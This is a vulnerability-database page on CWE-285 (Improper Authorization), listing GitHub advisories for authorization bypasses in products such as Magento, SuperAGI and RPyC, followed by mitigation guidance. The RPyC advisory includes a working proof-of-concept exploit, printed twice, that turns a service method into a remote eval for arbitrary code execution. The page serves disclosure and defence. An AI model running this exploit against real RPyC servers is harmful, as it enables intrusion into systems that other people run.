CWE-285
DiscouragedImproper Authorization
Abstraction: Class · Status: Draft
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
2300 vulnerabilities reference this CWE, most recent first.
GHSA-PF3Q-2QV4-VX44
Vulnerability from github – Published: 2025-01-30 09:30 – Updated: 2025-01-30 09:30The WooCommerce Wishlist (High customization, fast setup,Free Elementor Wishlist, most features) plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.8.7 via the download_pdf_file() function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to extract data from wishlists that they should not have access to.
{
"affected": [],
"aliases": [
"CVE-2024-13694"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-30T09:15:08Z",
"severity": "HIGH"
},
"details": "The WooCommerce Wishlist (High customization, fast setup,Free Elementor Wishlist, most features) plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.8.7 via the download_pdf_file() function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to extract data from wishlists that they should not have access to.",
"id": "GHSA-pf3q-2qv4-vx44",
"modified": "2025-01-30T09:30:37Z",
"published": "2025-01-30T09:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13694"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/smart-wishlist-for-more-convert/trunk/includes/class-wlfmc-form-handler.php#L607"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/smart-wishlist-for-more-convert/trunk/includes/class-wlfmc-wishlist.php#L529"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3229758"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/smart-wishlist-for-more-convert/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59fe7630-ab94-419f-aca5-39b74d86ae4e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PFXV-66R9-4GQW
Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-05-15 22:36An insecure direct object reference (IDOR) vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2 due to insufficient authorizations checks. This can be abused by a user with admin privileges to add users to company accounts or modify existing user details.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.1"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.2"
},
{
"fixed": "2.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.3"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-7872"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-15T22:36:30Z",
"nvd_published_at": "2019-08-02T22:15:00Z",
"severity": "MODERATE"
},
"details": "An insecure direct object reference (IDOR) vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2 due to insufficient authorizations checks. This can be abused by a user with admin privileges to add users to company accounts or modify existing user details.",
"id": "GHSA-pfxv-66r9-4gqw",
"modified": "2024-05-15T22:36:30Z",
"published": "2022-05-24T16:52:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7872"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/magento/product-community-edition/CVE-2019-7872.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Magento Insufficient authorization check when adding users to company accounts"
}
GHSA-PG76-QGMQ-MVPQ
Vulnerability from github – Published: 2026-04-20 09:30 – Updated: 2026-04-20 09:30A vulnerability was identified in TransformerOptimus SuperAGI up to 0.0.14. Affected is the function delete_agent/stop_schedule/get_schedule_data of the file superagi/controllers/agent.py. The manipulation of the argument agent_id leads to authorization bypass. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-6613"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-20T07:16:16Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in TransformerOptimus SuperAGI up to 0.0.14. Affected is the function delete_agent/stop_schedule/get_schedule_data of the file superagi/controllers/agent.py. The manipulation of the argument agent_id leads to authorization bypass. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-pg76-qgmq-mvpq",
"modified": "2026-04-20T09:30:44Z",
"published": "2026-04-20T09:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6613"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/1d87985b274ce22c4294726d7758df8e"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/791081"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358248"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358248/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PJ48-VV9M-5QQF
Vulnerability from github – Published: 2026-03-27 18:31 – Updated: 2026-03-27 18:31A vulnerability has been found in OpenBMB XAgent 1.0.0. This affects the function ReplayServer.on_connect/ReplayServer.send_data of the file XAgentServer/application/websockets/replayer.py of the component WebSocket Endpoint. Such manipulation of the argument interaction_id leads to authorization bypass. The attack may be launched remotely. Attacks of this nature are highly complex. The exploitability is reported as difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-4958"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-27T16:16:24Z",
"severity": "LOW"
},
"details": "A vulnerability has been found in OpenBMB XAgent 1.0.0. This affects the function ReplayServer.on_connect/ReplayServer.send_data of the file XAgentServer/application/websockets/replayer.py of the component WebSocket Endpoint. Such manipulation of the argument interaction_id leads to authorization bypass. The attack may be launched remotely. Attacks of this nature are highly complex. The exploitability is reported as difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-pj48-vv9m-5qqf",
"modified": "2026-03-27T18:31:27Z",
"published": "2026-03-27T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4958"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/dc46c2a710ecb9e855695f32da8bcab5"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.353835"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.353835"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.777618"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PJ4G-4488-WMXM
Vulnerability from github – Published: 2021-02-17 19:50 – Updated: 2021-09-27 22:48Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.
Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.
Workarounds
The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.
References
CVE-2019-16328 RPyC Security Documentation
For more information
If you have any questions or comments about this advisory: * Open an issue using GitHub
Proof of Concept
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
_builtins = remote_modules['builtins']
remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}
# populate globals for CodeType calls on remote
remote_globals = remote_builtins['dict']()
for name, netref in remote_builtins.items():
remote_globals[name] = netref
for name, netref in self.netref_getattr(remote_modules, 'items')():
remote_globals[name] = netref
# create netrefs for types to create remote function malicously
remote_types = remote_builtins['__import__']("types")
remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')
# remote eval function constructed
remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
# PoC CWE-913: modify the exposed_nop of service
# by binding various netrefs in this execution frame, they are cached in
# the remote address space. setattr and eval functions are cached for the life
# of the netrefs in the frame. A consequence of Netref classes inheriting
# BaseNetref, each object is cached under_local_objects. So, we are able
# to construct arbitrary code using types and builtins.
# use the builtin netrefs to modify the service to use the constructed eval func
remote_setattr = remote_builtins['setattr']
remote_type = remote_builtins['type']
remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)
# show that nop was replaced by eval to complete the PoC
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
def test_2_new_conn_impacted(self):
# demostrate impact and scope of vuln for new connections
self.conn.close()
self.conn = rpyc.connect("localhost", PORT)
# show new conn can still use nop as eval
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
if __name__ == "__main__":
unittest.main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "rpyc"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.1.0"
]
}
],
"aliases": [
"CVE-2019-16328"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2021-02-17T19:50:44Z",
"nvd_published_at": "2019-10-03T20:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n exposed_Fie = Foe\n\n def exposed_nop(self):\n return\n\n\nif __name__ == \"__main__\":\n server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__(\u0027sys\u0027)\"):\n return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n func_code = func.__code__\n arg_names = [\u0027co_argcount\u0027, \u0027co_posonlyargcount\u0027, \u0027co_kwonlyargcount\u0027, \u0027co_nlocals\u0027, \u0027co_stacksize\u0027, \u0027co_flags\u0027,\n \u0027co_code\u0027, \u0027co_consts\u0027, \u0027co_names\u0027, \u0027co_varnames\u0027, \u0027co_filename\u0027, \u0027co_name\u0027, \u0027co_firstlineno\u0027,\n \u0027co_lnotab\u0027, \u0027co_freevars\u0027, \u0027co_cellvars\u0027]\n\n codetype_args = [getattr(func_code, n) for n in arg_names]\n if filename:\n codetype_args[arg_names.index(\u0027co_filename\u0027)] = filename\n if name:\n codetype_args[arg_names.index(\u0027co_name\u0027)] = name\n mycode = obj_codetype(*codetype_args)\n return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n ver1_gt_ver2 = False\n for i, v1 in enumerate(ver1):\n v2 = ver2[i]\n if v1 \u003e v2:\n ver1_gt_ver2 = True\n break\n elif v1 == v2:\n continue\n else: # v1 \u003c v2\n break\n return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n\n cls.logger = logging.getLogger(\u0027rpyc\u0027)\n cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred\n cls.hscript = tempfile.NamedTemporaryFile()\n cls.hscript.write(SERVER_SCRIPT.encode())\n cls.hscript.flush()\n while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n pass\n cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n cls.conn = rpyc.connect(\"localhost\", PORT)\n\n @classmethod\n def tearDownClass(cls):\n cls.conn.close()\n cls.logger.info(cls.server.stdout.read())\n cls.logger.info(cls.server.stderr.read())\n cls.server.kill()\n cls.hscript.close()\n\n def netref_getattr(self, netref, attrname):\n # PoC CWE-358: abuse __cmp__ function that was missing a security check\n handler = rpyc.core.consts.HANDLE_CMP\n return self.conn.sync_request(handler, netref, attrname, \u0027__getattribute__\u0027)\n\n def test_1_modify_nop(self):\n # create netrefs for builtins and globals that will be used to construct on remote\n remote_svc_proto = self.netref_getattr(self.conn.root, \u0027_protocol\u0027)\n remote_dispatch = self.netref_getattr(remote_svc_proto, \u0027_dispatch_request\u0027)\n remote_class_globals = self.netref_getattr(remote_dispatch, \u0027__globals__\u0027)\n remote_modules = self.netref_getattr(remote_class_globals[\u0027sys\u0027], \u0027modules\u0027)\n _builtins = remote_modules[\u0027builtins\u0027]\n remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n # populate globals for CodeType calls on remote\n remote_globals = remote_builtins[\u0027dict\u0027]()\n for name, netref in remote_builtins.items():\n remote_globals[name] = netref\n for name, netref in self.netref_getattr(remote_modules, \u0027items\u0027)():\n remote_globals[name] = netref\n\n # create netrefs for types to create remote function malicously\n remote_types = remote_builtins[\u0027__import__\u0027](\"types\")\n remote_types_CodeType = self.netref_getattr(remote_types, \u0027CodeType\u0027)\n remote_types_FunctionType = self.netref_getattr(remote_types, \u0027FunctionType\u0027)\n\n # remote eval function constructed\n remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename=\u0027test_code.py\u0027, name=\u0027__code__\u0027)\n remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n # PoC CWE-913: modify the exposed_nop of service\n # by binding various netrefs in this execution frame, they are cached in\n # the remote address space. setattr and eval functions are cached for the life\n # of the netrefs in the frame. A consequence of Netref classes inheriting\n # BaseNetref, each object is cached under_local_objects. So, we are able\n # to construct arbitrary code using types and builtins.\n\n # use the builtin netrefs to modify the service to use the constructed eval func\n remote_setattr = remote_builtins[\u0027setattr\u0027]\n remote_type = remote_builtins[\u0027type\u0027]\n remote_setattr(remote_type(self.conn.root), \u0027exposed_nop\u0027, remote_eval)\n\n # show that nop was replaced by eval to complete the PoC\n remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n def test_2_new_conn_impacted(self):\n # demostrate impact and scope of vuln for new connections\n self.conn.close()\n self.conn = rpyc.connect(\"localhost\", PORT)\n # show new conn can still use nop as eval\n remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n```",
"id": "GHSA-pj4g-4488-wmxm",
"modified": "2021-09-27T22:48:17Z",
"published": "2021-02-17T19:50:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
},
{
"type": "PACKAGE",
"url": "https://github.com/tomerfiliba-org/rpyc"
},
{
"type": "WEB",
"url": "https://github.com/tomerfiliba/rpyc"
},
{
"type": "WEB",
"url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dynamic modification of RPyC service due to missing security check"
}
GHSA-PJ4X-JR79-QXHV
Vulnerability from github – Published: 2023-11-15 21:35 – Updated: 2023-11-15 21:35The Gotham video-application-server service contained a race condition which would cause it to not apply certain acls new videos if the source system had not yet initialized.
{
"affected": [],
"aliases": [
"CVE-2023-30954"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-15T20:15:07Z",
"severity": "LOW"
},
"details": "The Gotham video-application-server service contained a race condition which would cause it to not apply certain acls new videos if the source system had not yet initialized.",
"id": "GHSA-pj4x-jr79-qxhv",
"modified": "2023-11-15T21:35:08Z",
"published": "2023-11-15T21:35:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30954"
},
{
"type": "WEB",
"url": "https://palantir.safebase.us/?tcuUid=d2366a3e-a92c-476e-8a7a-7db60e4be567"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJH7-F93R-QFRC
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2023-11-01 15:33EisBaer Scada - CWE-285: Improper Authorization
{
"affected": [],
"aliases": [
"CVE-2023-42491"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:31Z",
"severity": "CRITICAL"
},
"details": "EisBaer Scada - CWE-285: Improper Authorization",
"id": "GHSA-pjh7-f93r-qfrc",
"modified": "2023-11-01T15:33:29Z",
"published": "2023-10-25T18:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42491"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PMHG-5FQ2-CXQQ
Vulnerability from github – Published: 2024-09-10 18:30 – Updated: 2024-09-10 18:30Windows Remote Desktop Licensing Service Denial of Service Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-38231"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-10T17:15:26Z",
"severity": "MODERATE"
},
"details": "Windows Remote Desktop Licensing Service Denial of Service Vulnerability",
"id": "GHSA-pmhg-5fq2-cxqq",
"modified": "2024-09-10T18:30:45Z",
"published": "2024-09-10T18:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38231"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38231"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PMP7-7J9C-794V
Vulnerability from github – Published: 2026-06-20 15:32 – Updated: 2026-06-20 15:32Liquidfiles versions before 4.2.12 are affected by a broken access control vulnerability resulting in privilege escalation from an Admin in a secondary domain to a Sysadmin by modifying a group in their managed secondary (non-default) group.
{
"affected": [],
"aliases": [
"CVE-2026-12673"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-20T14:16:19Z",
"severity": "MODERATE"
},
"details": "Liquidfiles versions before 4.2.12 are affected by a broken access control vulnerability resulting in privilege escalation from an Admin in a secondary domain to a Sysadmin by modifying a group in their managed secondary (non-default) group.",
"id": "GHSA-pmp7-7j9c-794v",
"modified": "2026-06-20T15:32:27Z",
"published": "2026-06-20T15:32:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12673"
},
{
"type": "WEB",
"url": "https://docs.liquidfiles.com/release_notes/version_4-2-x.html"
},
{
"type": "WEB",
"url": "https://projectblack.io/blog/liquidfiles-privilege-escalation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMR7-G2C9-7XHW
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-10-27 19:00A vulnerability has been identified in SINEC NMS (All versions < V1.0 SP2 Update 1). An authenticated attacker could change the user profile of any user without proper authorization. With this, the attacker could change the password of any user in the affected system.
{
"affected": [],
"aliases": [
"CVE-2021-33723"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-12T10:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SINEC NMS (All versions \u003c V1.0 SP2 Update 1). An authenticated attacker could change the user profile of any user without proper authorization. With this, the attacker could change the password of any user in the affected system.",
"id": "GHSA-pmr7-g2c9-7xhw",
"modified": "2022-10-27T19:00:39Z",
"published": "2022-05-24T19:17:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33723"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-163251.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
